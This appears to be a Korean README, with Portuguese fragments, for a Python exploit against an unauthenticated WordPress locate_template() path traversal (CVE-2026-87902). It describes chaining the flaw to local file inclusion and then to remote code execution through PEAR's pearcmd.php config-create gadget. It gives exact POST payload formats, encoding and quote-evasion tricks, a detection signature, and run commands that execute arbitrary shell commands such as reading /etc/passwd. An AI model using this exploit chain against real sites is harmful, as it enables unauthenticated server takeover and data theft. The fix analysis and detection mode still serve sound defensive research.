
WordPress locate_template()의 인증되지 않은 경로 순회 취약점(CVE-2026-87902)을 악용하여 LFI 및 PEAR 기반 RCE로 이어지는 Python PoC로, 안전한 탐지 모드를 포함합니다.
익스플로잇 파일: exploit_locate_template_rce.py —
Python 3.6+ (stdlib only).
단일 명령 파이프라인: 안전한 탐지 (LFI 차등, 쓰기 없음) →,
취약한 경우, 원하는 명령을 실행하는 pearcmd.php 가젯을 통한 RCE
(--command/-c). 쓰기 단계 전에 중단하려면 --validate-only를 사용하세요.
커밋 5fde0bb7의 수정이 없는 WordPress 버전에서
CVE-2026-87902를 테스트합니다 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, 4.7.37까지 백포트).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| 영향받는 버전 | WordPress 4.7.0 – 7.1.1 (모든 브랜치) |
| 수정 | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| 수정 커밋 | 5fde0bb7b9775523959094bf280cc54bfa78af51 (changeset 63792의 머지) |
| 파일 | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| 인증 | 없음 — 사용자, 쿠키, nonce, 플러그인 모두 불필요 |
| 크레딧 | 발견 및 공개: Robert Ressl |
⚠️ 승인된 테스트 전용. 본인이 통제하는 환경(아래 랩은 격리됨)에서 또는 소유자의 명시적 승인 하에 사용하세요.
수정이 없는 버전에서 get_page_template() → locate_template() →
template-loader 체인은 선택된 템플릿이 테마 내부에 남아 있음을 결코 보장하지 않습니다.
수정 전 (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
수정 후 (커밋 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename과 page_id는 공개 쿼리 변수입니다 — 익명 POST의 body에서 허용됩니다.
POST 메서드는 redirect_canonical() (canonical.php)이 조기에 반환하도록 만듭니다 — 이 함수는
GET/HEAD에서만 동작하므로 아무것도 리다이렉트되지 않습니다.templates%252f%252e%252e%252f...) sanitize를 통과합니다:
WP_Query::get_posts() (l.2191)가 pagename을
sanitize_title_for_query( wp_basename( ... ) )로 재작성합니다 — wp_basename()은 %2F에서
깨지지 않으며(formatting.php l.5768) sanitize는 %XX 옥텟을 보존합니다 (l.2395).page_id (l.2252)가 WHERE를 덮어씁니다 ("$where =", ".="가 아님) — 실제 페이지가
404 없이 로드되고, 악성 pagename이 쿼리 객체에 남습니다.get_page_template()이 늦은 urldecode()를 수행하고 validate_file() 없이
page-<traversal>.php를 구성합니다.locate_template()은 file_exists()만 호출합니다 → include가 테마를 벗어납니다.| # | 전제 조건 | 이유 |
|---|---|---|
| 1 | 공개된 페이지, 익명 접근 가능, page_id로 선택 가능하며 커스텀 템플릿 없음 | 요청이 Page로 해석되어야 함; 커스텀 템플릿은 계층 구조에서 더 앞서 나옴 |
| 2 | 활성 테마(자식 또는 부모)의 최상위 디렉터리로 page-로 시작하는 것 (예: page-templates/) | WP가 고정 접두사 page-를 앞에 붙임; 순회가 진입하는 지점. 존재하고 순회 가능하기만 하면 됨 (비어 있어도 됨). Twenty Twelve/Fourteen, Neve, Hestia, Sydney에 존재 |
| 3 | 존재하고 읽을 수 있는 로컬 .php 대상 | 로더가 .php를 덧붙이고 is_file()/is_readable()을 확인 |
| 4 | (RCE 전용) 읽을 수 있는 pearcmd.php + register_argc_argv=On + 쓰기 가능한 디렉터리 (예: /tmp) | PEAR→RCE 경로: config-create가 PHP 페이로드를 서버에 기록 |
공개된 페이지에 대한 세 번의 익명 POST — 디스크 쓰기 없음:
| 요청 | pagename | 예상 응답 (취약) |
|---|---|---|
| A — 베이스라인 | — | 200, 정상 본문 (~23 KB) |
| B — 컨트롤 | traversal → 존재하지 않는 파일 | 200, 정상 본문 (폴백 page.php) |
| C — 프로브 | traversal → wp-content/index.php ("Silence is golden") | 200, 빈 본문 |
시그니처: C 비어 있음 + A/B 정상 ⇒ include가 테마를 벗어남 ⇒ 취약.
탐지는 자동으로 스캔합니다: 후보 테마 디렉터리
(page-templates, page-template) × 깊이 1–12.
결과(theme-dir + depth)가 RCE 단계에 공급됩니다.
--validate-only를 사용하면 스크립트가 여기서 중단됩니다 (취약하면 exit 0).
pearcmd.php를 통한 RCE (쓰기)Estágio 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ o traversal inclui /usr/local/lib/php/pearcmd.php
→ argv vem da query string crua (register_argc_argv=On)
→ config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)
Estágio 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data
형식 세부 사항 (모든 제약은 스크립트가 처리):
page_id + pagename을 전달하고, 쿼리 문자열은
오직 PEAR의 argv만 전달합니다 (?+config-create+<root>+<out>).wp_magic_quotes() (load.php l.1290)가
add_magic_quotes($_SERVER)를 적용하고 pearcmd는 $_SERVER['argv']에서 argv를 읽습니다 — 어떤
따옴표든 \'가 되어 생성된 파일을 깨뜨립니다. 모든 PHP 문자열은 chr() 연결이 됩니다:
'/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): 쿼리 문자열의 원시 바이트 +, <, >가
argv입니다 — 경로 상에서 재작성/재인코딩될 수 없습니다.config-create는 절대 root 경로를 요구합니다 — 페이로드가 root 자체로 주입되며
(/<php>), 출력을 구분하는 ___WP_RCE_OK___ 마커가 접두사로 붙습니다.pearcmd.php 경로(공식 Docker, Debian/Ubuntu, XAMPP)를 시도합니다 — 필요하면
--pear-path/--output으로 조정하세요."업로드"는 없습니다: 탐지 대상은 모든 WordPress가 기본 제공하는 파일
(wp-content/index.php)이며, RCE 페이로드는 PEAR 가젯을 통해 서버 자체가 기록하고
www-data로 실행됩니다.
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose
| 매개변수 | 기본값 | 설명 |
|---|---|---|
--url, -u | (필수) | WordPress 기본 URL |
--command, -c | id | 대상에서 실행되는 셸 명령 (--validate-only 시 무시됨) |
--validate-only | off | 취약점만 검증 (LFI, RCE/쓰기 전에 중단) |
--page-id | auto (REST, fallback probe) | 커스텀 템플릿이 없는 공개 페이지 ID |
--theme-dir | page-templates, page-template 시도 | page-로 시작하는 테마의 최상위 디렉터리 |
--probe-target | index | 탐지 프로브 대상, .php 없이 (index → wp-content/index.php) |
--depth | 0 (1–12 스캔) | ../ 세그먼트 수 |
--pear-path | 내부 목록 시도 | RCE 단계의 pearcmd.php, .php 없이 (Docker, Debian, XAMPP) |
--output | /tmp/wp-pear-rce | PEAR 페이로드의 쓰기 가능한 대상, .php 없이 |
--timeout | 20 | 요청당 타임아웃 (초) |
--insecure | off | TLS 인증서 검증 안 함 |
--verbose | off | 시도별 상세 출력 |